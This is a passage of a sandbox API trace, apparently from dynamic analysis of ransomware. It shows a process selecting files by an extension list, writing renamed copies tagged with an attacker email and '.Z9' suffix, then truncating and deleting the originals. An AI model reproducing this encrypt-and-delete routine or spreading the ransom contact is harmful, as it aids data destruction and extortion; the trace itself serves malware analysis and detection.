	[0098.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString=".doc") returned 4
	[0098.134] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.134] lstrlenW (lpString=".docx") returned 5
	[0098.134] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0098.134] lstrlenW (lpString=".pdf") returned 4
	[0098.134] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.134] lstrlenW (lpString=".xls") returned 4
	[0098.134] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.134] lstrlenW (lpString=".xlsx") returned 5
	[0098.134] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0098.134] lstrlenW (lpString=".ppt") returned 4
	[0098.134] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString=".zip") returned 4
	[0098.134] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.134] lstrlenW (lpString=".rar") returned 4
	[0098.134] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.134] lstrlenW (lpString=".bz2") returned 4
	[0098.134] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.134] lstrlenW (lpString=".7z") returned 3
	[0098.134] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString=".dbf") returned 4
	[0098.134] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString=".1cd") returned 4
	[0098.134] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68
	[0098.134] lstrlenW (lpString=".jpg") returned 4
	[0098.134] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.134] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0098.135] lstrlenW (lpString="J0099167.JPG") returned 12
	[0098.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.135] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=43949) returned 1
	[0098.135] CloseHandle (hObject=0x378) returned 1
	[0098.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0098.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.136] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.136] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.136] GetLastError () returned 0x0
	[0098.136] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xabad, lpOverlapped=0x0) returned 1
	[0098.138] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0098.140] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.140] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0098.140] SetEndOfFile (hFile=0x35c) returned 1
	[0098.140] CloseHandle (hObject=0x35c) returned 1
	[0098.140] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.140] SetEndOfFile (hFile=0x378) returned 1
	[0098.142] CloseHandle (hObject=0x378) returned 1
	[0098.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0098.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0098.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.142] lstrlenW (lpString=".doc") returned 4
	[0098.142] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.142] lstrlenW (lpString=".docx") returned 5
	[0098.142] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0098.142] lstrlenW (lpString=".pdf") returned 4
	[0098.142] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.142] lstrlenW (lpString=".xls") returned 4
	[0098.142] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString=".xlsx") returned 5
	[0098.143] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0098.143] lstrlenW (lpString=".ppt") returned 4
	[0098.143] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString=".zip") returned 4
	[0098.143] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString=".rar") returned 4
	[0098.143] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString=".bz2") returned 4
	[0098.143] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.143] lstrlenW (lpString=".7z") returned 3
	[0098.143] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString=".dbf") returned 4
	[0098.143] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString=".1cd") returned 4
	[0098.143] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString=".jpg") returned 4
	[0098.143] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.143] lstrlenW (lpString=".doc") returned 4
	[0098.143] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.143] lstrlenW (lpString=".docx") returned 5
	[0098.143] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0098.143] lstrlenW (lpString=".pdf") returned 4
	[0098.143] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString=".xls") returned 4
	[0098.143] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.143] lstrlenW (lpString=".xlsx") returned 5
	[0098.143] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0098.143] lstrlenW (lpString=".ppt") returned 4
	[0098.144] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.144] lstrlenW (lpString=".zip") returned 4
	[0098.144] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.144] lstrlenW (lpString=".rar") returned 4
	[0098.144] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.144] lstrlenW (lpString=".bz2") returned 4
	[0098.144] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.144] lstrlenW (lpString=".7z") returned 3
	[0098.144] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.144] lstrlenW (lpString=".dbf") returned 4
	[0098.144] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.144] lstrlenW (lpString=".1cd") returned 4
	[0098.144] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0098.144] lstrlenW (lpString=".jpg") returned 4
	[0098.144] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.144] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0098.144] lstrlenW (lpString="J0099168.JPG") returned 12
	[0098.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.145] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=20179) returned 1
	[0098.145] CloseHandle (hObject=0x378) returned 1
	[0098.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220
	[0098.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.145] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.145] GetLastError () returned 0x0
	[0098.145] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed3, lpOverlapped=0x0) returned 1
	[0098.147] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0098.148] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0098.148] WriteFile (in: hFile=0x35c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0098.148] SetEndOfFile (hFile=0x35c) returned 1
	[0098.148] CloseHandle (hObject=0x35c) returned 1
	[0098.149] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.149] SetEndOfFile (hFile=0x378) returned 1
	[0098.149] CloseHandle (hObject=0x378) returned 1
	[0098.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0098.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0098.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.150] lstrlenW (lpString=".doc") returned 4
	[0098.150] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.150] lstrlenW (lpString=".docx") returned 5
	[0098.150] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0098.150] lstrlenW (lpString=".pdf") returned 4
	[0098.150] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.150] lstrlenW (lpString=".xls") returned 4
	[0098.150] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.150] lstrlenW (lpString=".xlsx") returned 5
	[0098.150] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0098.150] lstrlenW (lpString=".ppt") returned 4
	[0098.150] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.150] lstrlenW (lpString=".zip") returned 4
	[0098.150] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.150] lstrlenW (lpString=".rar") returned 4
	[0098.150] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.150] lstrlenW (lpString=".bz2") returned 4
	[0098.151] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.151] lstrlenW (lpString=".7z") returned 3
	[0098.151] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString=".dbf") returned 4
	[0098.151] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString=".1cd") returned 4
	[0098.151] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString=".jpg") returned 4
	[0098.151] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString=".doc") returned 4
	[0098.151] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0098.151] lstrlenW (lpString=".docx") returned 5
	[0098.151] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0098.151] lstrlenW (lpString=".pdf") returned 4
	[0098.151] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0098.151] lstrlenW (lpString=".xls") returned 4
	[0098.151] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0098.151] lstrlenW (lpString=".xlsx") returned 5
	[0098.151] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0098.151] lstrlenW (lpString=".ppt") returned 4
	[0098.151] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.151] lstrlenW (lpString=".zip") returned 4
	[0098.151] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0098.151] lstrlenW (lpString=".rar") returned 4
	[0098.151] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0098.151] lstrlenW (lpString=".bz2") returned 4
	[0098.151] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0098.151] lstrlenW (lpString=".7z") returned 3
	[0098.151] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0098.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.152] lstrlenW (lpString=".dbf") returned 4
	[0098.152] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0098.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.152] lstrlenW (lpString=".1cd") returned 4
	[0098.152] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0098.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68
	[0098.152] lstrlenW (lpString=".jpg") returned 4
	[0098.152] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0098.152] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0098.152] lstrlenW (lpString="J0099169.WMF") returned 12
	[0098.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.152] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=10192) returned 1
	[0098.152] CloseHandle (hObject=0x378) returned 1
	[0098.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0098.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0098.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0098.153] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.153] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0098.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.153] GetLastError () returned 0x0
	[0098.153] ReadFile (hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0) 

Thread:
	id = 10
	os_tid = 0x10ec

	[0068.637] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x5c08a0
	[0068.637] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x5d08a8
	[0068.638] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5591d0
	[0068.638] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e348
	[0068.638] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559308
	[0068.638] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x2fa4020
	[0068.641] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559320
	[0068.641] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559320, Size=0x20) returned 0x53e9a0
	[0068.641] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559320
	[0068.641] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559320, Size=0x20) returned 0x53eb30
	[0068.642] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0068.642] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0068.642] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff50 | out: OldValue=0x2acff50*=0x0) returned 1
	[0068.642] lstrlenW (lpString="kernel32.dll") returned 12
	[0068.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e9a0 | out: hHeap=0x500000) returned 1
	[0068.642] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0068.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0068.642] Sleep (dwMilliseconds=0x64) 
	[0068.987] lstrcmpiW (lpString1=".log", lpString2=".Z9") returned -1
	[0068.987] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30
	[0068.987] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.209] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=40) returned 1
	[0069.209] CloseHandle (hObject=0x2c8) returned 1
	[0069.209] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0069.209] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.209] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.209] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.209] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.209] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0069.209] GetLastError () returned 0x0
